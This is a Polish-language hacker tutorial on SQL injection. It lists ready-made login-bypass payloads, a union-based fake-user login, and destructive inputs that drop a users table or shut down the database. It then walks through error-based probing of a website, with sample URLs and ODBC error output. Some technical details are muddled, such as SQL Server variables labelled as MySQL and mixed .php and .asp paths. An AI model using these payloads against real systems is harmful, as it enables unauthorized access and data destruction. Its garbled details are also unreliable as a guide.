Aplikacje sieciowe w dzisiejszych czasach opierają sie na treściach dynamicznych. Dane tych aplikacji najczęsciej są zapisywane i archiwizowane w bazach danych ( skrypty logowania, treści). Najpopularniejszym językiem bazodanowym jest SQL i śłuży on do tak do tworzenia jak i do póżniejszej modyfikacji i odczytu bazy danych.
Właśnie dlatego jednym z najczęstrzych ataków jest SQL Injection, używa on komend języka SQL (zapytań) do pobierania lub modyfikacji bazy danych.
SQL Injection używa sie poprzez wprowadzanie komend SQL bezpośrednio w oknie przeglądarki. Z początku wprowadzamy polecenia których baza danych nie jest w stanie wykonać aby doprowadzić do wygenerowania błędu bazy danych. Znaki uzywane przy SQL Injection: ( ' ) ( ; ) (--). Mają one ogromne znaczenie przy tworzeniu zapytań do bazy i są częstą przyczyną niepowodzeń młodych 1337 hax00r'ów.
Co twórczy haker/cracker (różnice wyjaśnie kiedy indziej) może zrobić wykorzystując niezabezpieczoną odpowiednio bazę danych. Zaczniemy od obchodzenia autoryzacji (logowania). Dzięki kilku prostym zapytaniom można przejąć kontrolę nad servisem internetowym a przy większym wtajemniczeniu nad całym serwerem. Jump start:
Przykłady wykorzystania błędów w skryptach logowania:
W celach zalogowania sie bez żadnych danych możemy użyć:
Username : ' OR '='
Password : ' OR '='
Logowanie tylko przy użyciu usename:
Username : admin'--
Logowanie jako pierwszy uzytkownik w tabeli:
Username : ' or 1=1--
Logowanie jako fikcyjny użytkownik:
Username : ' union select 1, 'user', 'passwd' 1 --
Powodowanie zniszczenia (nie używać):
Usówanie tabeli:
Username : ';drop table users--
Zamknięcie bazy danych zdalnie
Username: Krzywy'
Password : '; shutdown--
Powinniśmy zrozumieć co dokładnie robimy. Sieciowy server rozumie tylko protokół HTML, baza danych tylko język SQL (są jeszcze inne ale nie o nich ten artykuł).Gdy logujemy się na stronę internetową aplikacja wymaga od nas dwóch danych:
> Nazwy użytkownika
> Hasła
Aplikacja pobiera te dane i tworzy zapytanie do bazy. Baza odpowiada wybraniem odpowiednich kolumn i pobraniem z nich potrzebnych informacji które nie są wyświetlne - operuje się nimi jak zmiennymi.
Jeśli poważnie myślisz o SQL Injection zadaj sobie nast. pytania:
> Czy potrafię czytać komunikaty ODBC i odpowiednio na nie reagować?
> Czy mogę spowodować błąd w aplikacji bazodanowej?
> Czy znam strony z błędami, potrafię je czytać i wyciągać z nich potrzebne mi informację tzn. zmienne, nazwy tabel i kolumn baz danych ??
> czy potrafię stworzyć zapytanie do bazy danych (SQL) i czy znam komendy tego języka?
> Czy mogę skompletować informacje do nauki i uczyć sie ??
Trudniejsze jest sformułowanie odpowiednich zapytań i wygenerowanie błędów w kodzie który jest stworzony tylko na potrzeby jednej strony i nie jest udostępniony użytkownikom (znany) ale nie jest to niemożliwe.
Zaczynamy!
Generowanie błędu na stronie.
Przykład: http://www.jakasstrona.pl...tykulId=30'
Znak ( ' ) został użyty bez wyznaczenia granicy tzn niezamknięty.
Strona z rezultatem:
Mcft OLE DB Provider for ODBC Drivers ( 0x123453D8)
[Mcft] [ODBC SQL Server Driver] [SQL Server] Unclosed quotation mark before the character string ', @UserID=143'.
/skrypt.php, line 9
Stworzyliśmy zapytanie z niezamkniętym znakiem. Błąd wskazuje nam dokładne miejsce w kodzie gdzie został użyty jak i również (puff) pojawia się UserID z którego korzystaliśmy.
Spróbujmy ze znakiem komentarza ( -- )
Przykład: http://www.jakasstro...?artykulId=30--
Strona z rezultatem:
Mcft OLE DB Provider for ODBC Drivers ( 0x123453D8)
[Mcft] [ODBC SQL Server Driver] [SQL Server]Procedure 'artykul2' excepts parameter '@UserID', which was not supplied.
/somewhere.asp, line 9
Wymuśiliśmy na SQL'u aby potraktował zapytanie jako komentarz. Widzimy tu że dane zostały przetworzone przez procedure artykul2. Nie możemy przepisać albo zmodyfikować bezpośrednio procedury (bez wykozystanie RFI - Remote File Inclusion) nawet jeśli posiadamy UserID admina np: UserID=2.Spróbujmy inaczej:
http://www.jakasstro...0,@UserID=150--
Rezultat:
Mcft VBScript runtime ( 0x400D984C ).
Type mismatch: '[string: "30,@UserID=150--"]'
/skrypt.php, line 111
Niedziała w tym przypadku, nie jesteśmy w ODBC lecz w VBScript.
Spróbujmy bez znaków komentarza.
http://www.jakasstro...=30,@UserID=150
Rezultat:
Mcft OLE DB Provider for ODBC Drivers ( 0x123453D8)
[Mcft] [ODBC SQL Server Driver] [SQL Server]Procedure or function artykul2 has too many arguments specified.
/skrypt.php, line 9
Dobra starczy generacji błędów...jesteśmy na poziomie bazy danych ODBC i wiemy jak podawać jej informacje
Spróbujmy użyć komend SQL: PRINT
http://www.jakasstro...ykulId=30+PRINT
Rezultatem jest:
Mcft OLE DB Provider for ODBC Drivers ( 0x123453D8)
[Mcft] [ODBC SQL Server Driver] [SQL Server] Line 1: Incorrect syntax near ','.
Tak... nasza komenda została zaakceptowana
Teraz zapytajmy o coś związanego z bazą:
http://www.jakasstro...30+PRINT+@@Mcft
Rezultat:
pusta strona ?? nic...
@@Mfct jest domyślną zmienną tej bazy danych, użyjmy czegoś co nie ma prawa istnieć
http://www.jakasstro...NT+@@L33TH4CK3R
Rezultat:
Mcft OLE DB Provider for ODBC Drivers ( 0x123453D8)
[Mcft] [ODBC SQL Server Driver] [SQL Server] Must declare the variable '@@L33TH4CK3R'.
Widzimy że nasze wcześniejsze zapytanie było poprawne ale aplikacja nie wiedziała jak pokazać wynik, ponieważ zmienna ta powinna odebrać dane od artykuł2...
Domyślne zmienne bazy mysql:
@@connections
@@max_connections
@@servicename
@@cpu_busy
@@max_precision
@@spid
@@cursor_row
@@Mcft
@@textsize
@@dbts
@@nestlevel
@@timeticks
@@error
@@options
@@total_errors
@@fetch_status
@@pack_received
@@toto_read
@@identity
@@pack_sent
@@total_write
@@idle
@@packet_errors
@@trancount
@@io_busy
@@procid
@@version
@@langid
@@rowcount
@@language
@@servername
Nie są to wszystkie zapytania,w rzeczywistości jest ich sporo więcej.